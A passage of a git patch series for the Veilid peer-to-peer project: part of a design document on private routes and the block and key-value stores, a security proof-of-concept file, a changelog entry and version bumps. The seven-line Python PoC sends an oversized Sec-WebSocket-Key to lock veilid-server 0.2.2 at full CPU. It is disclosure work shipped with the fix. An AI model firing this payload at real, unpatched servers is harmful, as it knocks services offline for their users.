then it's done, otherwise it calls `find_node` again to get closer. It iterates in this way, possibly trying alternate peers, as necessary, in a nearest-first fashion until it either finds the desired peer's dial info, has exhausted the entire network, or gives up. + +### User Privacy + +In order to ensure that users can participate in Veilid with some amount of privacy, we need to address the fact that being connected to Veilid entails communicating with other peers, and therefore sharing IP addresses. A user's peer will therefore be frequently issuing RPCs in a way that directly associates the user's identifying information with their peer's ID. Veilid provides privacy by allowing the use of an RPC forwarding mechanism that uses cryptography to similar to onion routing in order to hide the path that a message takes between its actual originating peer and its actual destination peer, by hopping between additional intermediate peers. + +The specific approach that Veilid takes to privacy is two sided: privacy of the sender of a message, and privacy of the receiver of a message. Either or both sides can want privacy or opt out of privacy. To achieve sender privacy, Veilid use something called a Safety Route: a sequence of any number of peers, chosen by the sender, who will forward messages. The sequence of addresses is put into a nesting doll of encryption, so that each hop can see the previous and next hops, while no hop can see the whole route. This is similar to a Tor route, except only the addresses are encrypted for each hop. The route can be chosen at random for each message being sent. + +Receiver privacy is similar, in that we have a nesting doll of encrypted peer addresses, except because it's for incoming messages, the various addresses have to be shared ahead of time. We call such things Private Routes, and they are published to the key-value store as part of a user's public data. For full privacy on both ends, a Private Route will be used as the final destination of a Safety Route, and the total route is the composition of the two, so that neither the sender nor receiver knows the IP address of the other. + +Each peer in the hop, including the initial peer, sends a `route` RPC to the next peer in the hop, with the remainder of the full route (safety + private), forwarding the data along. The final peer decrypts the remainder of the route, which is now empty, and then can inspect the forwarded RPC to act on it. The RPC itself doesn't need to be encrypted, but it's good practice to encrypt it for the final receiving peer so that the intermediate peers can't de-anonymize the sending user from traffic analysis. + +Note that the routes are _user_ oriented. They should be understood as a way to talk to a particular _user's_ peer, wherever that may be. Each peer of course has to know about the actual IP addresses of the peers, otherwise it couldn't communicate, but safety and private routes make it hard to associate the _user's_ identity with their _peer's_ identity. You know that the user is somewhere on the network, but you don't know which IP address is theirs, even if you do in fact have their peer's dial info stored in the routing table. + +### Block Store Revisited + +As mentioned in the Bird's Eye View, the block store is intended to store content-addressed blocks of data. Like many other peer-to-peer systems for storing data, Veilid uses a distributed hash table as the core of the block store. The block store DHT has as keys BLAKE3 hashes of block content. For each key the DHT associates a list of peer IDs for peers that have declared to the network that they can supply the block. + +If a peer wishes to supply the block, it makes a `supply_block` RPC call to the network with the id of the block. The receiver of the call can then store the information that the peer supplies the designated block if it wants, and also can return other peers nearer to the block's ID that should also store the information. Peers determine whether or not to store this information based on how close it is to the block's ID. It may also choose to cache the block, possibly also declaring itself to be a supplier as well. + +Supplier records are potentially brittle because peers leave the network, making their information unavailable. Because of this, any peer that wishes to supply a block will periodically send `supply_block` messages to refresh the records. Peers that are caching blocks determine when to stop caching based on how popular a block is, how much space or bandwidth it can spare, etc. + +To retrieve a block that has been stored in the blockstore, a peer makes a `find_block` RPC. The receiver will then either return the block, or possibly return a list of suppliers for the block that it knows about, or return a list of peers that are closer to the block. + +Unlike BitTorrent, blocks are not inherently part of a larger file. A block can be just a single file, and often that will be the case for small files. Large files can be broken up into smaller blocks, however, and then an additional block with a list of those component blocks can be stored in the block store. Veilid itself, however, would treat this like any other block, and there are no built-in mechanisms for determining which blocks to download first, which to share first, etc. like there are in BitTorrent. These features would be dependent on the peer software's implementation and could vary. Different clients will also be able to decide how they want to download such "compound" blocks -- automatically, via a prompt to the user, or something else. + +The mechanism of having blocks that refer to other blocks also enables IPFS-style DAGs of hierarchical data as one mode of use of the block store, allowing entire directory structures to be stored, not just files. However, as with sub-file blocks, this is not a built-in part of Veilid but rather a mode of use, and how they're downloaded and presented to the user is up to the client program. + +### Key-Value Store, Revisited + +The key-value store is a DHT similar to the block store. However, rather than using content hashes as keys, the KV store uses user IDs as keys (note: _not_ peer IDs). At a given key, the KV store has a hierarchical key-value map that associates in-principle arbitrary strings with values, which themselves can be numbers, strings, datetimes, or other key-value maps. The specific value stored in at a user's ID is versioned, so that particular schemas of subkeys and values can be defined and handled appropriately by different versions of clients. + +When a user wishes to store data under their key, they send a `set_value` RPC to the peer's whose IDs are closest by the XOR metric to their own user ID. The value provided to the RPC is a signed value, so that the network can ensure only the designated user is storing data at their key. The peers that receive the RPC may return other peer IDs closer to the key, and so on, similar to how the block store handles `supply_block` calls. Eventually, some peers will store the data. The user's own peer should periodically refresh the stored data, to ensure that it persists. It's also good practice for the user's own peer to cache the data, so that client programs can use the user's own peer as a canonical source of the most-up-to-date value, but doing so would require a route to be published that lets other peers send the user's own peer messages. A private route suffices for this. + +Retrieval is similar to block store retrieval. The desired key is provided to a `get_value` call, which may return the value, or a list of other peers that are closer to the key. Eventually the signed data is returned, and the recipient can verify that it does indeed belong to the specified user by checking the signature. + +When storing and retrieving, the key provided to the RPCs is not required to be only the user's ID. It can include a list of strings which act as a path into the data stored at the user's key, targetting it specifically for update or retrieval. This lets the network minimize data transfer, because only the relevant information has to move around. + +The specific content of the user's keys is determined partially by the protocol and partially by the client software. Early versions of the protocol use a DHT schema version that defines a fairly simple social network oriented schema. Later versions will enable a more generic schema so that client plugins can store and display richer information. + +The stateful nature of the key-value store means that values will change over time, and actions may need to be taken in response to those changes. A polling mechanism could be used to periodically check for new values, but this will lead to lots of unnecessary traffic in the network, so to avoid this, Veilid allows peers to send `watch_value` RPCs, with a DHT key (with subkeys) as its argument. The receiver would then store a record that the sender of the RPC wants to be alerted when the receiver gets subsequent `set_value` calls, at which time the receiver sends the sending peer a `value_changed` RPC to push the new value. As with other RPC calls, `watch_value` needs to be periodically re-sent to refresh the subscription to the value. Additionally, also as with other calls, `watch_value` may not succeed on the receiver, which instead might return other peers closer to the value, or might return other peers that have successfully subscribed to the value and thus might act as a source for it. + +TODO How to avoid replay updates?? maybe via a sequence number in the signed patch? + +## Appendix 1: Dial Info and Signaling + +## Appendix 2: RPC Listing diff --git a/doc/security/poc/large-websocket-key-v0.2.2.py b/doc/security/poc/large-websocket-key-v0.2.2.py new file mode 100644 index 00000000..eff0e70b --- /dev/null +++ b/doc/security/poc/large-websocket-key-v0.2.2.py @@ -0,0 +1,7 @@ +# When pointed at veilid-server 0.2.2 or earlier, this will cause 100% CPU utilization + +import socket +s = socket.socket() +s.connect(('127.0.0.1',5150)) +s.send(f"GET /ws HTTP/1.1\r\nSec-WebSocket-Version: 13\r\nConnection: Upgrade\r\nUpgrade: websocket\r\nSec-WebSocket-Key: {'A'*2000000}\r\n\r\n".encode()) +s.close() From 6a65b9adeeb53aabe0941afcb28cc84c65390e84 Mon Sep 17 00:00:00 2001 From: Christien Rioux Date: Sun, 17 Sep 2023 14:04:33 -0400 Subject: [PATCH 46/47] changelog --- CHANGELOG.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 442ae308..c982f2bb 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,3 +1,7 @@ +**Changed in Veilid 0.2.3** +- Security fix for WS denial of service +- Support for latest Rust 1.72 + **Changed in Veilid 0.2.2** - Capnproto 1.0.1 + Protobuf 24.3 - DHT set/get correctness fixes From fa13f95a102c2a9856e4180965c3cad609532121 Mon Sep 17 00:00:00 2001 From: TC Johnson Date: Sun, 17 Sep 2023 13:21:57 -0500 Subject: [PATCH 47/47] =?UTF-8?q?Version=20update:=20v0.2.2=20=E2=86=92=20?= =?UTF-8?q?v0.2.3?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Security fix for WS denial of service - Support for latest Rust 1.72 --- .bumpversion.cfg | 2 +- Cargo.lock | 18 +++++++++--------- veilid-cli/Cargo.toml | 4 ++-- veilid-core/Cargo.toml | 6 +++--- veilid-flutter/pubspec.yaml | 2 +- veilid-flutter/rust/Cargo.toml | 2 +- veilid-python/pyproject.toml | 2 +- veilid-server/Cargo.toml | 2 +- veilid-tools/Cargo.toml | 2 +- veilid-wasm/Cargo.toml | 4 ++-- 10 files changed, 22 insertions(+), 22 deletions(-) diff --git a/.bumpversion.cfg b/.bumpversion.cfg index 89f06175..25361f55 100644 --- a/.bumpversion.cfg +++ b/.bumpversion.cfg @@ -1,5 +1,5 @@ [bumpversion] -current_version = 0.2.2 +current_version = 0.2.3 [bumpversion:file:veilid-server/Cargo.toml] search = name = "veilid-server" diff --git a/Cargo.lock b/Cargo.lock index 74a44c69..d210e639 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -5215,7 +5215,7 @@ checksum = "a9ee584edf237fac328b891dd06c21e7914a1db3762907edc366a13803451fe3" [[package]] name = "veilid-cli" -version = "0.2.2" +version = "0.2.3" dependencies = [ "arboard", "async-std", @@ -5237,7 +5237,7 @@ dependencies = [ "indent", "json", "log", - "parking_lot 0.11.2", + "parking_lot 0.12.1", "serde", "serde_derive", "serial_test", @@ -5251,7 +5251,7 @@ dependencies = [ [[package]] name = "veilid-core" -version = "0.2.2" +version = "0.2.3" dependencies = [ "argon2", "async-io", @@ -5356,7 +5356,7 @@ dependencies = [ [[package]] name = "veilid-flutter" -version = "0.2.2" +version = "0.2.3" dependencies = [ "allo-isolate", "async-std", @@ -5371,7 +5371,7 @@ dependencies = [ "opentelemetry", "opentelemetry-otlp", "opentelemetry-semantic-conventions", - "parking_lot 0.11.2", + "parking_lot 0.12.1", "serde", "serde_json", "tokio", @@ -5408,7 +5408,7 @@ dependencies = [ [[package]] name = "veilid-server" -version = "0.2.2" +version = "0.2.3" dependencies = [ "ansi_term", "async-std", @@ -5431,7 +5431,7 @@ dependencies = [ "opentelemetry", "opentelemetry-otlp", "opentelemetry-semantic-conventions", - "parking_lot 0.11.2", + "parking_lot 0.12.1", "rpassword", "serde", "serde_derive", @@ -5458,7 +5458,7 @@ dependencies = [ [[package]] name = "veilid-tools" -version = "0.2.2" +version = "0.2.3" dependencies = [ "android_logger 0.13.3", "async-lock", @@ -5510,7 +5510,7 @@ dependencies = [ [[package]] name = "veilid-wasm" -version = "0.2.2" +version = "0.2.3" dependencies = [ "cfg-if 1.0.0", "console_error_panic_hook", diff --git a/veilid-cli/Cargo.toml b/veilid-cli/Cargo.toml index a60c3f1f..f32e48c9 100644 --- a/veilid-cli/Cargo.toml +++ b/veilid-cli/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-cli" -version = "0.2.2" +version = "0.2.3" # --- authors = ["Veilid Team "] edition = "2021" @@ -54,7 +54,7 @@ flexi_logger = { version = "^0", features = ["use_chrono_for_offset"] } thiserror = "^1" crossbeam-channel = "^0" hex = "^0" -veilid-tools = { version = "0.2.2", path = "../veilid-tools" } +veilid-tools = { version = "0.2.3", path = "../veilid-tools" } json = "^0" stop-token = { version = "^0", default-features = false } diff --git a/veilid-core/Cargo.toml b/veilid-core/Cargo.toml index 4fb77bdd..7778c64c 100644 --- a/veilid-core/Cargo.toml +++ b/veilid-core/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-core" -version = "0.2.2" +version = "0.2.3" # --- description = "Core library used to create a Veilid node and operate it as part of an application" authors = ["Veilid Team "] @@ -59,7 +59,7 @@ network-result-extra = ["veilid-tools/network-result-extra"] [dependencies] # Tools -veilid-tools = { version = "0.2.2", path = "../veilid-tools", features = [ +veilid-tools = { version = "0.2.3", path = "../veilid-tools", features = [ "tracing", ], default-features = false } paste = "1.0.14" @@ -181,7 +181,7 @@ socket2 = { version = "0.5.4", features = ["all"] } # Dependencies for WASM builds only [target.'cfg(target_arch = "wasm32")'.dependencies] -veilid-tools = { version = "0.2.2", path = "../veilid-tools", default-features = false, features = [ +veilid-tools = { version = "0.2.3", path = "../veilid-tools", default-features = false, features = [ "rt-wasm-bindgen", ] } diff --git a/veilid-flutter/pubspec.yaml b/veilid-flutter/pubspec.yaml index edaf48c6..e0dee8a0 100644 --- a/veilid-flutter/pubspec.yaml +++ b/veilid-flutter/pubspec.yaml @@ -1,6 +1,6 @@ # --- Bumpversion match - do not reorder name: veilid -version: 0.2.2 +version: 0.2.3 # --- description: Veilid Framework homepage: https://veilid.com diff --git a/veilid-flutter/rust/Cargo.toml b/veilid-flutter/rust/Cargo.toml index 722d812f..21a3d1ce 100644 --- a/veilid-flutter/rust/Cargo.toml +++ b/veilid-flutter/rust/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-flutter" -version = "0.2.2" +version = "0.2.3" # --- authors = ["Veilid Team "] license = "MPL-2.0" diff --git a/veilid-python/pyproject.toml b/veilid-python/pyproject.toml index a6a96c53..6fd7846f 100644 --- a/veilid-python/pyproject.toml +++ b/veilid-python/pyproject.toml @@ -1,7 +1,7 @@ [tool.poetry] # --- Bumpversion match - do not reorder name = "veilid" -version = "0.2.2" +version = "0.2.3" # --- description = "" authors = ["Veilid Team "] diff --git a/veilid-server/Cargo.toml b/veilid-server/Cargo.toml index ff9a1b65..cedb3834 100644 --- a/veilid-server/Cargo.toml +++ b/veilid-server/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-server" -version = "0.2.2" +version = "0.2.3" # --- description = "Veilid Server" authors = ["Veilid Team "] diff --git a/veilid-tools/Cargo.toml b/veilid-tools/Cargo.toml index 9043dc8a..ea8fd23e 100644 --- a/veilid-tools/Cargo.toml +++ b/veilid-tools/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-tools" -version = "0.2.2" +version = "0.2.3" # --- description = "A collection of baseline tools for Rust development use by Veilid and Veilid-enabled Rust applications" authors = ["Veilid Team "] diff --git a/veilid-wasm/Cargo.toml b/veilid-wasm/Cargo.toml index b857d56a..59e46aa8 100644 --- a/veilid-wasm/Cargo.toml +++ b/veilid-wasm/Cargo.toml @@ -1,7 +1,7 @@ [package] # --- Bumpversion match - do not reorder name = "veilid-wasm" -version = "0.2.2" +version = "0.2.3" # --- authors = ["Veilid Team "] license = "MPL-2.0" @@ -15,7 +15,7 @@ default = ["veilid-core/default-wasm"] crypto-test = ["veilid-core/crypto-test"] [dependencies] -veilid-core = { version = "0.2.2", path = "../veilid-core", default-features = false } +veilid-core = { version = "0.2.3", path = "../veilid-core", default-features = false } tracing = { version = "^0", features = ["log", "attributes"] } tracing-wasm = "^0"